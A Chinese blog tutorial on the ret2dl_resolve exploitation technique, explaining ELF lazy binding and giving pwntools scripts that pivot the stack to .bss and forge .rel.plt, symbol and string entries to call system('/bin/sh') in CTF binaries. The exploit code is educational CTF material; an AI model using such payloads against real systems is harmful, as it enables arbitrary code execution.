ret2dl_resolve

news2024/9/24 18:36:10

前言:

ret2dl_resolve 是一种利用漏洞进行攻击的技术,主要针对使用动态链接库的程序。它的核心原理是利用程序的重定位机制,通过构造特定的函数返回地址,来劫持控制流并执行攻击者选择的代码。以下是对 ret2dl_resolve 原理的详细解释:

ret2dl_resolve 攻击的基本思路是:

  • 攻击者利用缓冲区溢出等漏洞,将控制流重定向到一个特定的地址,该地址指向 PLT 中的一个函数(通常是 dl_resolve)。
  • 当程序返回到这个地址时,它会调用 dl_resolve,动态链接器会解析符号并返回实际地址。
  • 攻击者可以通过提供特定的参数(如符号名),使得 dl_resolve 返回攻击者希望调用的任意函数的地址。

具体步骤如下:

  1. 确定目标函数: 攻击者识别出想要调用的函数(例如,system 函数)。

  2. 准备攻击载荷:

    • 攻击者构造一个输入,使得输入中包含返回地址,指向 PLT 中的 dl_resolve
    • 载荷中还需要包含目标函数的符号名(如 /bin/sh)。
  3. 触发漏洞: 将构造的载荷输入到程序中,触发缓冲区溢出或其他漏洞。

  4. 控制流重定向: 当程序执行到返回指令时,它会返回到 dl_resolve

  5. 符号解析dl_resolve 被调用,动态链接器解析符号并返回目标函数的地址。

  6. 执行目标函数: 最终,程序控制流被重定向到攻击者选择的函数,完成攻击。

地址获取:

要想理解这个,需要先手动完成对应的地址的查找过程,后续才能知道如何进行攻击:

当我们需要call put的时候,这个时候其对应的地址为plt的地址:

可以看到对应的地址为0x80483f0

这其中有几个参数需要注意:

relloc_arg:0x10

link_map:0x804a004

_dl_runtime_resolve地址:*(0x804a008)

上面jmp的地址0x804a014对应的是gotplt地址,其报存地址为0x80483f6,即当前命令的下一条地址。

查看gotplt表地址为0x804a000:

第一个link_map地址为GOTPLT的偏移+4地址为0xf7ffda30

_dl_runtime_resolve为GOTPLT的偏移+8地址为0xf7fdbeb0

查看link_map地址内容,解析如下

struct link_map {
    struct link_map *l_next;      // 指向下一个 link_map 结构的指针
    struct link_map *l_prev;      // 指向前一个 link_map 结构的指针
    void *l_addr;                 // 共享库的基地址
    char *l_name;                 // 共享库的名称(路径)
    struct ElfW(Dyn) *l_ld;       // 指向 ELF 动态段的指针
    void *l_real;                 // 实际的共享库地址(可能用于不同的加载器)
    void *l_reserved;             // 保留字段,用于未来扩展
    int l_refcount;               // 引用计数,跟踪库的使用情况
    // 可能还有其他字段,依赖于实现
};

对照表可以看到对应偏移为:

l_addr -> link_map+0x4

l_ld -> link_map+0x8 -> 0x8049f14

由于这里我们只获取当前elf的解析地址,所以我们不需要去解析其下一个link_map

 对应的l_ld为0x8049f14,对应的区段为.dynamic

.dynamic 节包含动态链接器所需的信息,以便在程序运行时进行动态链接。这包括共享库的路径、重定位信息、符号表的地址等。

然后查看.dynamic对应的地址解析:

对应的我们需要关心STRTAB,SYMTAB,JMPREL

STRTAB: 存储符号名和其他字符串,支持符号表的名称查找。

SYMTAB: 存储符号的信息,提供符号的地址和类型等信息。

JMPREL: 存储跳转重定位信息,支持动态链接的函数调用。

这里我们对应上地址为

STRTAB -> 0x8048298

SYMTAB -> 0x80481d8

JMPREL -> 0x8048364

 对应的我们可以从区段表中看到每个表对应的区段

 上面我们得到了relloc_arg为0x10,这里需要计算对应的Elf32_Rel指针为rel.plt+relloc_arg

0x8048364+0x10 = 0x8048374

struct Rel {
    Elf64_Addr r_offset;  // 偏移量
    Elf64_Xword r_info;   // 类型和符号索引
};

参考上面的机构我们得到 

r_offset -> 0x804a014

r_info -> 0x307

  r_info 中提取的符号索引,通常是 r_info >> 8。

0x307>>8=3,然后SYMTAB 表起始0找到第三个0x8048208,并获取对应偏移0x1a

然后使用 STRTAB -> 0x8048298 + 偏移就可以得到对应的字符串地址

同样的 SYMTAB -> 0x80481d8中对应的第一位为偏移,第二位为对应的函数地址

 查看导入函数有8个,正好为上面的8个,由于其为外部导入函数,所以地址为0

查看另外三个,可以看到对应的为其函数地址

在动态链接库查找该函数后,把地址赋值给rel.plt+relloc_arg的r_offset -> 0x804a014:指向对应got表的指针,赋值给GOT表后,把控制权返还给read。 

执行完成后 

然后我们需要了解下_dl_runtime_resolve函数,其底层调用的是_dl_fixup,其具体的执行过程如下:

1. 获取重定位信息 在执行动态链接的程序时,_dl_fixup 首先会访问重定位表(如 JMPREL),获取需要重定位的符号信息。

2. 解析符号名 对于每个重定位条目,_dl_fixup 会提取符号索引,并使用该索引在符号表(SYMTAB)中查找符号名。这通常使用字符串表(STRTAB)来获取实际的符号名称。

3. 查找符号地址 一旦得到了符号名,_dl_fixup 将在加载的共享库中查找该符号的地址。这一过程通常由动态链接器完成,动态链接器会访问符号哈希表(如 DT_HASH)以快速定位符号。

4. 更新跳转表 找到符号地址后,_dl_fixup 会将该地址更新到过程链接表(PLT)或其他需要重定位的地址。这使得后续对该函数的调用可以正确地跳转到动态库中加载的实现。

利用:

所以以上可以知道_dl_fixup和我们上述的过程一样获取到了puts函数名称后,会通过这个符号名获取到其对应lib下的真实地址,然后更新GOT表下对应函数的指针即可

所以理论上我们只要能修改.dynstr对应的函数名称就可以完成对不同函数地址的索引,但是dynstr是不可写的,所以我们没有办法通过修改dynstr来达到获取任意函数地址的想法

所以需要我们伪造rel.plt表和symtab表,并且修改reloc_argc,让重定位函数解析我们伪造的结构体,借此修改符号解析的位置,首先为了更好的控制栈,我们需要重新申请一片可写地址构建栈

修改栈顶:

使用命令ROPgadget --binary ciscn_2019_es_2 |grep leave

leave 指令用于清理当前函数的栈帧。它的主要功能是将栈指针恢复到调用函数的状态,并释放局部变量的空间。

leave  = mov esp, ebp; pop ebp; 

mov esp, ebp: 将栈指针 (esp) 设置为基指针 (ebp),准备返回到调用者的栈帧。

pop ebp: ebp 寄存器的值被更新为调用者栈帧的基指针,且esp+4指向返回地址;

ret从栈中弹出返回地址,将其加载到指令指针(EIP)中,并跳转。

寄存器ebp,基址寄存器,也叫做栈底寄存器。

寄存器esp,是栈顶寄存器。

正常情况下执行到ret的时候,esp指向的数据弹入ebp,ebp中存的数据改变,因而指向了父函数的栈底,又由于pop指令除了弹出数据外还会将esp的指向下移,所以esp此时指向了函数的正常返回地址

esp保存的为跳转地址,ebp保存的为父函数栈底地址,即:

ret执行结束跳转到esp:0x0804862a地址,并且父函数栈底为ebp:0xffffcef8 -> 0xffffcf10

 

 并且对应的0xffffcf10-0x4的位置就是下一个返回地址

所以进行改造,我们需要将返回地址设置为我们需要返回的地址,并且将栈底修改到可控的栈地址中,即esp为0x8048562,esp-0x4即栈底位置修改到执行栈空间中,这里只要我们能获取到当前使用的栈地址,就可以使用leave和ret跳转到指定地址

此处我们设置如下payload:

payload = b'aaaa' + p32(system_addr) + p32(0xdeadbeef) + p32(buf_addr + 0x10) + b'/bin/sh\0' + b'\0' * (0x28 - 4 * 4 - 8) + p32(buf_addr) + p32(leave_ret)

当执行完p32(leave_ret)即leave后,esp=ebp+0x4(父函数返回地址),ebp指向0xffa096f0->0x61616161

由此我们可以看到我们在覆盖栈的时候我们需要覆盖父函数地址和对应的父函数栈底地址,对应为esp和esp-4地址

跳转bss段:

为了更直观的感受,这里用xdctf2015_pwn200进行讲解

溢出过程就不讲解了,主要讲解栈的布置,首先我们要调用read,将我们的payload写入到指定地址,这里为bss段,然后通过调用链最终跳转到bss段的payload的代码执行,测试代码如下

from pwn import *                                

context.log_level = 'debug'

conn = process('./bof')                                                                                                         
elf = ELF('./bof')                                                                                                                                   
read = elf.plt['read']     

bss = 0x0804a028                                                                     
stack_size = 0x800
fake_stack = bss + stack_size

# gadgets
pop_3time = 0x08048629  # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x0804862b # pop ebp ; ret
leave_ret = 0x08048445  #leave ; ret
 
# stack pivoting
gdb.attach(conn, 'b *(0x08048517)')   
conn.recvuntil(b'2015~!\n')
payload = cyclic(0x6c + 0x4)
payload += p32(read) + p32(pop_3time) + p32(0) + p32(fake_stack) + p32(0x100)
payload += p32(pop_ebp_ret) + p32(fake_stack-4) + p32(leave_ret)

conn.sendline(payload)
conn.interactive()

具体的执行流程如下:

1.0x8048390  read 其中0x8048629为执行完read返回地址,后面的p32(0) + p32(fake_stack) + p32(0x100)为对应的三个参数类似于read(0, &BSS, BufSize)

2.此处会等待获取输入数据,此时我们输入aaaaaaa

3.0x8048629  pop esi ; pop edi ; pop ebp ; ret 此处主要为了跳过read中的三个参数

4.0x804862b pop ebp ; ret 此处主要将0x0804a824地址放入ebp中

5.0x8048445 leave ; ret (mov esp, ebp; pop ebp; ret)最后将0x0804a824传入esp,执行pop ebp,此时esp+4为0x0804a828为返回地址,正好跳入bss区段中

调用write函数:

通过上述的方法我们就可以调用到第二个payload,就是我们放到bss段中的代码,下面我们可以编写一个write打印指定字符串

首先我们用最简单的方法调用write,直接通过plt获取地址

# 1
# write binsh
write = elf.plt['write']  

payload = p32(write) + p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()

查看bss段可以看到具体执行write(1,*0x804a8a8,0x8),由于bss区段地址固定,我们可以很好的构建出参数地址 

 

利用plt调用_dl_runtime_resolve:

下面我们使用_dl_runtime_resolve来动态调用write

plt = 0x08048370  # the addr of .plt section

payload = p32(plt) + p32(0x20)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()
conn.interactive()

正常来说应该首先跳转到write的PLT地址,然后push 0x20,此时relloc_arg为0x20,然后jmp到_dl_runtime_resolve:

我们这里由于提前push了0x20 所以可以跳过上面的这步,直接跳转到_dl_runtime_resolve地址,如何获取_dl_runtime_resolve地址,只需要调用plt地址,进入_dl_runtime_resolve函数后为我们配置的参数_dl_runtime_resolve(0x20,0),其中0也为完成的返回地址

Elf32_Rel指针为rel.plt+relloc_arg,即0x08048324 + 0x20 = 0x08048344

0x607>>8=6,然后SYMTAB 表0x080481cc起始0找到第六个0x804822c,并获取对应偏移0x4c

 STRTAB -> 0x0804826c + 偏移就可以得到对应的字符串地址

伪造.rel.plt:

在伪造.rel.plt前我们首先要了解其结构,其存储跳转重定位信息

typedef struct
{
    Elf64_Addr r_offset; /* Address */
    Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;

然后我们查看对应的信息

 

可以看到地址为0x804a01c info为0x607 

由于relloc_arg为0x20,Elf32_Rel指针为rel.plt+relloc_arg,所以我们需要伪造Elf32_Rel的时候需要fake_stack + 24 - rel.plt其中24为bss的偏移

这样我们便伪造了 Elf32_Rel,执行时候会跳转到我们伪造的Elf32_Rel,然后获取info为0x607,然后0x607>>8=6,然后SYMTAB 表0x080481cc起始0找到第六个0x804822c,并获取对应偏移0x4c,最后STRTAB -> 0x0804826c + 0x4c就可以得到对应的write字符串地址

伪造SYMTAB:

伪造SYMTAB,就是为了让relloc_arg偏移+SYMTAB为我们的BSS地址,由于SYMTAB没有越界检查,所以我们可以使其跳转到我们的bss段

dynsym = 0x080481cc

align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])

fake_write_sym = flat([0x4c, 0, 0, 0x12])

payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

其中注意align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf),由于SYMTAB是16字节对齐,必须使其跳转到的地址为16字节对齐后的数据

这段代码中的 & 0xf 操作是为了计算 fake_stack + 32 - dynsym 的地址与 16 字节对齐后的偏移量。 具体原理如下:

  • & 0xf 是一个按位与运算,它将 fake_stack + 32 - dynsym 的二进制表示与 0xf (即 1111) 进行按位与运算。
  • 0xf 的二进制表示为 1111,它可以用来屏蔽掉 fake_stack + 32 - dynsym 的低四位。
  • 按位与运算的结果将保留 fake_stack + 32 - dynsym 的高位,并将低四位清零。

 最后计算的r_info为(fake_stack + 32 + align - dynsym)<< 8 | 0x7 这里是否| 0x7不会影响最后>>8的结果,| 0x7:将低 8 位设置为 0x07,仅表示特定的重定位类型

通过我们构造的r_info,就会跳转到我们自己定义的fake_write_sym = flat([0x4c, 0, 0, 0x12]),进而去STRTAB -> 0x0804826c + 0x4c就可以得到对应的write字符串地址

伪造STRTAB:

下面就是需要伪造具体的字符串地址

dynsym = 0x080481cc
dynstr = 0x0804826c
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])

st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])

payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(1) + p32(fake_stack+0x80) + p32(0x8)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
paylaod += fake_write_sym
payload += b'write\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)
conn.recv()

这个就很好理解了,主要就是如下两行代码

st_name = fake_sym_addr + 0x10 - dynstr

fake_write_sym = flat([st_name, 0, 0, 0x12])

SYMTAB为0x10大小,所以需要+0x10

最后执行STRTAB -> 0x0804826c + fake_sym_addr + 0x10 - 0x0804826c 就可以跳转到我们bss段中的write字符串

这就可以完整的伪造了.rel.plt,SYMTAB,STRTAB三个表,通过write字符串获取对应的地址并通过ROP调用

最后就是把write字符串换成system就并且修改为system调用函数就完成了payload的构建,可以调用执行命令

dynsym = 0x080481cc
dynstr = 0x0804826c
align = 0x10 - ((fake_stack + 32 - dynsym) & 0xf)
fake_sym_addr = fake_stack + 32 + align
st_name = fake_sym_addr + 0x10 - dynstr
fakse_write_sym = flat([st_name, 0, 0, 0x12])

fake_write_sym_index = (fake_sym_addr - dynsym) // 0x10
r_info = (fake_write_sym_index << 8) | 0x7
fake_write_rel = flat([write_got, r_info])

st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = p32(st_name) + p32(0) + p32(0) + p32(r_info)

payload = p32(plt) + p32(fake_stack + 24 - rel_plt)
payload += p32(0) + p32(fake_stack+0x80) + p32(0x0) + p32(0)
payload += fake_write_rel      # fake write reloc
payload += cyclic(align)
payload += fake_write_sym
payload += b'system\x00'
payload = payload.ljust(0x80, b'\x00') + b'/bin/sh'
payload = payload.ljust(0x100, b'\x00')
conn.sendline(payload)

总结:

总结一下其实我们就是伪造.rel.plt,SYMTAB,STRTAB三个表,

1.首先需要确定是否为Full RELRO禁用延迟绑定,如果是则无法利用该方法,否则可以使用,

2.需要通过漏洞调用read方法将我们的payload写入bss段,然后跳转到bss段执行

3.然后首先需要跳转到plt即调用_dl_runtime_resolve方法,然后通过计算将relloc_arg设置为我们bss段的伪造的Elf32_Rel

4.然后需要伪造SYMTAB,需要我们将伪造的Elf32_Rel中的r_info计算为刚好偏移到我们BSS段中伪造的SYMTAB表

5.然后伪造STRTAB,通过伪造SYMTAB的偏移地址到我们BSS段payload的system字符串地址即可

6.最后添加system(const char * command)调用参数即/bin/sh,就完成了通过system字符串获取对应地址并传入参数并执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2161096.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

谷歌地图 | Navigation SDK 重磅发布!为你的 App 注入导航新体验

9月17日&#xff0c;Google 地图正式发布 Navigation SDK for Android 和 iOS&#xff01;借助 Navigation SDK&#xff0c;开发者们现在可以更轻松地为用户打造定制化的导航体验&#xff0c;提升用户满意度&#xff0c;增强用户粘性。无论是界面风格、路线规划还是实时交通信息…

城市酷选:如何四年做到3000亿销售额 会员超500w

城市酷选&#xff0c;这一融合了线上线下消费的会员制社交电商平台&#xff0c;正以其独特的运营模式在市场中崭露头角。该平台不仅汇聚了超过600万的会员与60万商家&#xff0c;更实现了年交易额的百亿突破&#xff0c;彰显了其强大的市场影响力和消费者吸引力。 创新排队免单…

C#基础(14)冒泡排序

前言 其实到上一节结构体我们就已经将c#的基础知识点大概讲完&#xff0c;接下来我们会讲解一些关于算法相关的东西。 我们一样来问一下gpt吧&#xff1a; Q:解释算法 A: 算法是一组有序的逻辑步骤&#xff0c;用于解决特定问题或执行特定任务。它可以是一个计算过程、一个…

FileLink跨网文件传输 | 跨越网络边界的利器,文件传输不再受限

在当今数字化时代&#xff0c;企业与个人对文件传输的需求不断增长&#xff0c;尤其是在跨网环境中。传统的文件传输方式常常受到网络带宽、传输速度和安全性的限制&#xff0c;给用户带来了诸多不便。FileLink 的出现&#xff0c;为这一难题提供了完美解决方案&#xff0c;让文…

理解Web3:去中心化互联网的基础概念

随着科技的不断进步&#xff0c;互联网的形态也在不断演变。从最初的静态网页&#xff08;Web1&#xff09;到动态的社交网络&#xff08;Web2&#xff09;&#xff0c;如今我们正步入一个新的阶段——Web3。这一新兴概念不仅代表了一种技术革新&#xff0c;更是一种互联网使用…

RocketMQ简介与应用场景

简介 RocketMQ是一个由阿里巴巴开源并捐献给Apache的分布式消息中间件&#xff0c;具有高吞吐、低延迟、海量消息堆积等特点&#xff0c;广泛应用于各种分布式系统和大规模数据处理场景。 核心特征 1、高吞吐与低延迟&#xff1a;RocketMQ支持极高的消息吞吐量和极低的消息延…

优思学院|ABC成本方法与精益管理

传统企业计算成本主要基于直接费用。其次的间接费用只需根据某项标准&#xff08;作业时间等&#xff09;&#xff0c;粗略地将费用分配给各种产品即可。 近来&#xff0c;生产线自动化与间接业务高度复杂化&#xff0c;间接费用在制造成本中的比重越来越高&#xff0c;传统的…

netty编程之那么多的网络框架为啥非选你?

写在前面 java nio框架不止一种&#xff0c;为啥非选netty&#xff1f;本文来看下。 1&#xff1a;正文 网络io框架&#xff0c;除了netty外&#xff0c;还有mina&#xff0c;sun grizzly&#xff0c;cindy等&#xff0c;为啥独选netty。 mina netty和mina作者同属一人&…

【计算机视觉】YoloV8-训练与测试教程

✨ Blog’s 主页: 白乐天_ξ( ✿&#xff1e;◡❛) &#x1f308; 个人Motto&#xff1a;他强任他强&#xff0c;清风拂山冈&#xff01; &#x1f4ab; 欢迎来到我的学习笔记&#xff01; 制作数据集 Labelme 数据集 数据集选用自己标注的&#xff0c;可参考以下&#xff1a…

用ArcMap实现可视域分析

在 ArcToolbox>>3D Analyst>>可见性>>视域&#xff0c;输入值如图所示&#xff1a; 设置完成后点击确认&#xff0c;生成可视域分析图层 Viewshe1&#xff0c;由内容列表 可见&#xff0c;红色为不可见&#xff0c;绿色为可见。 改变观察点的高度&#xff1a…

pycharm下载selenium等软件包时提示下载超时

1.问题描述 我今天在pycharm运行刚写的自动化脚本时&#xff0c;提示selenium模块未导入&#xff08;自动到导入&#xff09;&#xff0c;鼠标移动到【from selenium import webdriver]的selenium时&#xff0c;显示【未存在文档】 2 解决办法 文件--设置--项目&#xff1a;当前…

企业智能培训新方案,高效打造金牌员工

标品市场竞争激烈&#xff0c;小微企业因长期专注于非标业务或者偏定制化路线&#xff0c;在团队专业能力与大型企业间存在显著差距。专业人才短缺、培养成本高企、培训滞后、效果难测、资源不均、考核标准不一及知识转化率低等问题&#xff0c;成为其业务转型的绊脚石。 如何高…

红外热成像应用场景!

1. 电力行业 设备故障检测&#xff1a;红外热成像仪能够检测电气设备&#xff08;如变压器、电线接头&#xff09;的过热现象&#xff0c;及时发现并定位故障点&#xff0c;预防火灾等安全事故的发生。 水电站查漏&#xff1a;在水电站中&#xff0c;红外热成像仪可用于快速查…

windows自带的录屏功能好用吗?这4款录屏工具也是不错的选择。

因为现在很多人都会有录屏需求&#xff0c;所以平常使用的一些设备当中会有自带的录屏功能。比如windows10系统下只要按下键盘上的 “WinG” 键&#xff0c;就可打开录屏功能。但是录制的时长会有限制&#xff0c;并且录屏功能会有些限制。如果对录屏有更多的需求&#xff0c;可…

网络设备驱动中的调试级别msglevel

网络设备驱动调试级别可以在驱动初始化过程中赋初值&#xff0c;并通过ethtool_ops中.get_msglevel获取&#xff0c;通过.set_msglevel进行设置或修改&#xff0c;并通过如netif_msg_drv这样的宏函数来在需要打印调试信息时进行判断&#xff0c;为真时输出对应级别的调试信息&a…

QT----基于QML的计时器

赶上了实习的末班车,现在在做QML开发,第一天的学习成果,一个计时器.逻辑挺简单的,纯QML实现,代码在仓库QT-Timer 学习使用c的listmodel 学习使用了如何用c的listmodel来存储数据. 新建一个TImeListModel类继承自QAbstractListModel class TimeListModel : public QAbstrac…

AIGC基础工具-科学计算和数据处理的重要库NumPy(Numerical Python)简介

文章目录 1. NumPy 的核心概念1.1 ndarray&#xff1a;多维数组对象示例代码 2. NumPy 的数据类型 (dtype)示例代码 3. NumPy 的数组创建方法3.1 使用 array() 创建数组3.2 使用 zeros() 和 ones()3.3 使用 arange() 和 linspace()3.4 使用 random 模块生成随机数组 4. NumPy 数…

AOT源码解析4.3-model主体解析

1.添加参考图像&#xff08;add_reference_frame&#xff09; 1.1 生成位置编码和ID编码 具体操作见详情。 图1&#xff1a;如图所示&#xff0c;显示的是参考图像的位置编码和id编码的生成过程。对于id编码&#xff0c;将mask图像输入进conv2d卷积网络后&#xff0c;进行结…

容器化安装Jenkins部署devops

基础环境介绍 系统使用的是centos7.9 内核使用的是5.16.13-1.el7.elrepo.x86_64 容器使用的是26.1.4 docker-compose使用的是 v2.29.0 链路图 devops 配置git环境插件 部署好jenkins后开始配置 jenkins连接git&#xff0c;这里需要jenkins有连接git的插件。在已安装的插件…

【SD教程】图片也能开口说话?别惊讶!用SadTalker插件,一键生成自己的数字人,本地部署,免费使用!(附资料)

最近数字人越来越火&#xff0c;连互联网大佬都纷纷下场&#xff0c;比如360的周鸿祎&#xff0c;京东的刘强东等等。小伙伴可能也想拥有自己的数字人如果想用最简单的方式&#xff0c;那么可以用第三方的网站&#xff0c;例如 HeyGen平台、腾讯的智影等等。可这些网站都是收费…